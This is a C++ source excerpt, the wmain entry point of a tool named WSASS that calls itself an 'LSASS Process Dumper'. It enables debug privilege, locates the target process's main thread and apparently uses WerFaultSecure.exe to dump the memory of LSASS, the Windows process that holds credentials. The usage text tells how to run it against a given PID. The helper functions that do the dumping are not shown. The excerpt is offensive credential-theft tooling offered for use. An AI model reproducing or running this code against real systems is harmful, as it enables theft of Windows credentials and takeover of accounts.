Function wmain

WSASS.cpp:306–353

}

int wmain(int argc, wchar_t* argv[])
{
    if (argc != 3)
    {
        std::wcout << L"Usage:\n"
            << L"  WSASS.exe <PathToWerFaultSecure.exe> <TargetPID>\n\n"
            << L"Example:\n"
            << L"  WSASS.exe \"C:\\Windows\\System32\\WerFaultSecure.exe\" 1234\n";
        return 0;
    }
    std::wcout << L"\nLSASS Process Dumper\n"
        << L"  Two Seven One Three: x.com/TwoSevenOneT\n"
        << L"==================================================\n\n";
    // Parse arguments
    std::wstring werPath = argv[1];
    DWORD targetPid = _wtoi(argv[2]);
    if (targetPid == 0)
    {
        std::wcerr << L"Invalid PID: " << argv[2] << L"\n";
        return 0;
    }
    //
    if (!EnableDebugPrivilege())
    {
        std::wcerr << L"Failed to enable debug privilege.\n";
        return 0;
    }

    // Get main thread ID
    DWORD targetTid = GetMainThreadId(targetPid);
    if (targetTid == 0)
    {
        std::wcerr << L"Failed to find main thread for PID " << targetPid << L"\n";
        return 0;
    }
    if (DumpRun(werPath, targetPid, targetTid) == 0)
    {
        std::cerr << "Process dump failed" << std::endl;
    }
    else
    {
        std::wcout << L"Process dump successfully" << std::endl;
    }

    return 1;
}